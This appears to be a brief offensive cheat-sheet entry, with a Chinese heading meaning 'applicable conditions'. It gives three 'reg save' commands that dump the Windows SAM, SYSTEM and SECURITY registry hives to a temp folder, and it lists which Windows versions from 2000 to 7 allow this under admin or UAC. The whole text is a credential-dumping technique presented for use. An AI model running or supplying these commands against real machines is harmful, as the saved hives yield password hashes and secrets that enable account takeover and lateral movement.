Dump sam

reg save hklm\sam C:\temp\sam.hive 
reg save hklm\system C:\temp\system.hive 
reg save hklm\security C:\temp\security.hive

适用条件

Windows 2000 SP4 (admin) = access denied
Windows XP SP2 (admin) = access denied
Windows XP SP3 (admin) = access denied
Windows 2003 R2 SP2 (admin) = works
Windows Vista SP2 (UAC/admin) = works
Windows 2008 SP1 (admin) = works
Windows 7 (UAC/admin) = works